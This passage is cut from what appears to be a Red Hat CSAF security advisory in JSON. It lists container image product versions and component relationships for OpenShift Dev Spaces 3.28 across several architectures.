}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"product": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"product_id": "registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"product_identification_helper": {
"purl": "pkg:oci/configbump-rhel9@sha256%3Ab52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/configbump-rhel9\u0026tag=1780548550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"product": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"product_id": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"product_identification_helper": {
"purl": "pkg:oci/dashboard-rhel9@sha256%3Adee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/dashboard-rhel9\u0026tag=1780685176"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"product": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"product_id": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"product_identification_helper": {
"purl": "pkg:oci/imagepuller-rhel9@sha256%3A21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/imagepuller-rhel9\u0026tag=1780573614"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"product": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"product_id": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"product_identification_helper": {
"purl": "pkg:oci/jetbrains-ide-rhel9@sha256%3A5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/jetbrains-ide-rhel9\u0026tag=1780608672"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"product": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"product_id": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"product_identification_helper": {
"purl": "pkg:oci/multicluster-redirector-rhel9@sha256%3A060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/multicluster-redirector-rhel9\u0026tag=1780695724"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"product": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"product_id": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openvsx-rhel9@sha256%3A3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/openvsx-rhel9\u0026tag=1780948325"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"product": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"product_id": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"product_identification_helper": {
"purl": "pkg:oci/devspaces-rhel9-operator@sha256%3A4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/devspaces-rhel9-operator\u0026tag=1780592394"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"product": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"product_id": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"product_identification_helper": {
"purl": "pkg:oci/pluginregistry-rhel9@sha256%3A06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/pluginregistry-rhel9\u0026tag=1780696380"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"product": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"product_id": "registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"product_identification_helper": {
"purl": "pkg:oci/server-rhel9@sha256%3A4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/server-rhel9\u0026tag=1780694994"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"product": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"product_id": "registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"product_identification_helper": {
"purl": "pkg:oci/traefik-rhel9@sha256%3A0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/traefik-rhel9\u0026tag=1780593759"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64",
"product": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64",
"product_id": "registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64",
"product_identification_helper": {
"purl": "pkg:oci/udi-rhel9@sha256%3A8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/udi-rhel9\u0026tag=1780929707"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel10@sha256%3Acb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel10\u0026tag=1780600267"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel9@sha256%3A93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel9\u0026tag=1780601703"
}
}
}
],
"category": "architecture",
"name": "arm64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64"
},
"product_reference": "registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x"
},
"product_reference": "registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64"
},
"product_reference": "registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64"
},
"product_reference": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x"
},
"product_reference": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64"
},
"product_reference": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64"
},
"product_reference": "registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x"
},
"product_reference": "registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64"
},
"product_reference": "registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64"
},
"product_reference": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x"
},
"product_reference": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64"
},
"product_reference": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64"
},
"product_reference": "registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64"
},
"product_reference": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x"
},
"product_reference": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64"
},
"product_reference": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64"
},
"product_reference": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64"
},
"product_reference": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x"
},
"product_reference": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64"
},
"product_reference": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le as a component of Red Hat OpenShift Dev Spaces 3.28",
"product_id": "Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le"
},
"product_reference": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"relates_to_product_reference": "Red Hat OpenShift Dev Spaces 3.28"
},
{
"category": "default_component_of",
"full_product_name": {
